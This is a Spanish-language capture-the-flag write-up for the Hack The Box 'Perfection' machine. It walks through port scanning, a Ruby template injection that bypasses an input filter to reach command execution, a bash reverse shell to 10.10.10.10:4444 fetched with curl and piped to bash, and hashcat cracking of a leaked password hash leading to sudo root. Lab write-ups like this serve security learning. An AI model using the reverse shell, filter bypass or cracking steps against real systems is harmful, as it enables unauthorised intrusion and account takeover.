HTB Perfection Writeup
Muy buenas con todos, el día de hoy voy a resolver la máquina Perfection
de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.
Reconocimiento
Primero vemos si tenemos conexión con la máquina y de paso gracias al ttl
identificamos ante el tipo de máquina que estamos, en linux
este suele ser de 64 y en windows
de 128.
1
2
3
4
5
6
7
ping -c 1 10.10.11.25ping -c 1 10.10.11.253
PING 10.10.11.253 (10.10.11.253) 56(84) bytes of data.
64 bytes from 10.10.11.253: icmp_seq=1 ttl=63 time=162 ms
--- 10.10.11.253 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 161.515/161.515/161.515/0.000 ms
Vemos que el ttl
de la máquina es de 63, el cual está próximo a 64 por ende nos encontramos ante una máquina Linux
.
Ahora, con la herramienta nmap
lanzamos un escaneo en donde vamos a enumerar los puertos que se encuentran abiertos en la máquina.
1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.253 -oG ports
Aquí generamos un archivo en formato grepeable y hacemos uso de la función extarctPorts de s4vitar.
1
extractPorts ports
Ahora con el número de los puertos copiados en el portapapeles, lanzamos otro escaneo para enumerar el servicio que corren por los puertos.
1
nmap -sCV -p22,80 10.10.11.253 -oN target
Aquí generamos un archivo en el formato normal de nmap
en donde se nos muestra más información de los servicios que corren por esos puertos.
1
2
3
4
5
6
7
8
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
El escaneo, no nos otorga mucha información, pero vamos a enumerar la web. Primero vemos qué tecnologías se usan o algún CMS
.
1
2
3
whatweb 10.10.11.253
http://10.10.11.253 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx, WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)], IP[10.10.11.253], PoweredBy[WEBrick], Ruby[3.0.2], Script, Title[Weighted Grade Calculator], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block]
Bueno, podemos ver algo llamado WEBrick
y vemos que se usa Ruby
y nos dicen su versión. Vamos al navegador a ver qué tenemos. Podemos ver que nos dicen algo de una calculadora de calificaciones. En la parte de arriba, al lado de about us
si le damos clic, nos lleva a una calculadora. Vamos a ver qué podemos hacer aquí.
Podemos ver que si llenamos los campos en la tabla, estos se muestran en la parte de abajo. En vista de esto, podemos pensar en un ataque del tipo SSTI
SSTI a RCE
Bueno, para continuar con las pruebas hacemos uso de BurpSuite
, así que interceptamos la petición y la mandamos al Repeater
.
Probamos a poner comillas y en la respuesta vemos que nos detectan como un input malicioso, si recordamos con el comando whatweb
nos reportó que el lenguaje de programación es Ruby
, aquí, nos indican como podemos realizar un SSTI
en ese lenguaje, como nos bloquea las entradas maliciosas, probamos también a poner un espacio en blanco en formato url_encode
y el payload a inyectar también debe estar en ese mismo formato, para hacer eso en BurpSuite
, seleccionas lo que queremos en-codear y le damos a Ctrl+u
.
Como podemos ver, nos devuelve el resultado de la multiplicación, así que asumimos que funciona. En la misma web nos dicen cómo podemos lograr una ejecución de comandos, vamos a intentar leer el /etc/passwd
.
Vemos que se pudo, así que vamos a intentar ganar acceso.
Ganando acceso
Hay varias formas de hacerlo, pero en esta ocasión lo hice de la siguiente manera. Primero, hice un archivo con el siguiente contenido.
1
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
Luego me pongo en escucha con netcat
, levanto un servidor con python
y en la máquina con curl solicito el archivo pipiándolo con bash
.
Una vez dentro hacemos el tratamiento de la tty
.
1
2
3
4
5
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
export TEMR=xterm
Y podemos ver la primera flag
.
Escalada de privilegios
Vemos que dentro de nuestro directorio personal de usuario, hay una carpeta en donde podemos ver una base de datos. Si revisamos su contenidos vemos una tabla con nombres de usuarios y lo que parece ser su contraseña encriptada.
Tratamos de romper el hash
, pero no se puede. Vemos que en la ruta /var/mail
tenemos un correo que parece dirigido a susan
y nos dicen cuál es el formato que tienen las contraseñas (primer nombre_primer nombre al revés_número aleatorio entre 1 y 1,000,000,000). En vista de que el correo está dirigido a susan
, tratamos de averiguar su credencial. Podemos hacerlo con hashcat
.
1
2
3
4
hashcat -m 1400 hash -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
Vemos que nos da la contraseña, ahora intentamos cambiar a ese usuario. Lo logramos y, si hacemos un, id
vemos que susan
está en el grupo sudo
, así que proporcionando la credencial podemos ejecutar cualquier comando.
Bueno, ahora ya somos root y logramos ver la última flag